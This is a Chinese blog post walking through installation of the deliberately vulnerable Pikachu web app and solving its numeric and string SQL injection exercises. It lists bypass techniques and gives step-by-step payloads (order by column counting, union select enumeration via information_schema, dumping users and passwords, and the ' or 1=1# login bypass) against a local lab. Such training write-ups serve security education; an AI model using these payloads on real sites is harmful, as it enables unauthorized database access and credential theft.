pikachu之SQL注入

一. pikachu介绍

1.1 简介

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

1.2 pikachu模块

  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • ../../../(目录遍历)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)

二. pikachu的搭建

2.1 phpstudy的搭建

phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)

下载完后双击压缩包中的应用程序

选择路径,这里我存储在D盘中

然后就安装成功了

 

2.2 pikachu的搭建

pikachu的下载地址:https://github.com/zhuifengshaonianhanlu/pikachu

将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下

 在../www/pikachu-master/inc下,修改config.inc.php文件,如图: 

 然后在浏览器中访问http://127.0.0.1/pikachu-master(因为我的之前已经安装成功了,所以没有出现初始化安装)

三.SQL注入漏洞

3.1 SQL注入原理

     就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.2 SQL注入分类

(1)数字型        (2)字符型       (3)报错注入     (4)Boollean注入                (5)时间注入

3.3 SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

3.4 SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

四.SQL注入漏洞的分析

4.1 定义

     SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

4.2 原因

    SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)。

五.SQL-Inject

5.1 数字型注入(post)

(1)判断注入类型,是数字型注入,还是字符型注入

我们可以看到是post请求,所以我们使用bp进行抓包,在burp里面进行

我们发送到重发器里面进行做,我们输入1可以看到返回给一个正常页面

 我们输入1',可以看到报错了

我们继续输入1' and '1'='1,可以看到还是报错了,我们猜测是数字型注入

 我们输入1and 1=1没有报错,1 and1=2报错了,所以类型是数字型注入(而且题目要告诉我们是数字型注入了,之所以这样做就是为了如何进行判断SQL注入类型)

 

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1 order by 1没有报错

 id=1 order by 2没有报错,3报错了,所以字段数为2个

 (3)判断回显位置                       union select 1,2

(4)判断数据库                                     union select 1,database()

 (5)获取表名          1 union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database() 

 (6)获取字段名                  1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

(7)获取数据    1 union select user,password from users

5.2 字符型注入(get) 

 (1)判断类型,我们在上面已经讲过了如何进行判断SQL注入类型,所以这里我们就不讲了,直接进行做题(注意:这里需要万能密码才能做)

我们输入1'可以看到报错了

我们输入1' and '1'='1,可以看到不存在 这里我们使用万能密码(1' or 1=1#),可以看到所有的数据,后面就不用做了

 (2)后面步骤和前面一样,这里就不在写了,vince' order by 1#

后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。后面我会更新自己挖掘的漏洞.

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Pikachu靶场中,有多种类型的SQL注入漏洞可以进行测试和学习。这些类型包括数字型注入、字符型注入、搜索型注入、xx型注入、insert/update注入、delete注入、http头注入、盲注(基于布尔值)和盲注(基于时间)以及宽字节注入等。你可以使用工具如sqlmap来进行注入测试,通过构造恶意的SQL语句来获取数据库中的信息。例如,使用sqlmap命令可以指定目标URL和参数,然后进行注入测试,获取数据库中的表信息。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [Pikachu漏洞靶场系列之SQL注入](https://blog.csdn.net/weixin_45868644/article/details/120237977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [pikachu靶场通关之sql注入系列](https://blog.csdn.net/qq_51902218/article/details/120333234)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Pikachu(皮卡丘)靶场中SQL注入](https://blog.csdn.net/weixin_44268918/article/details/128317939)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值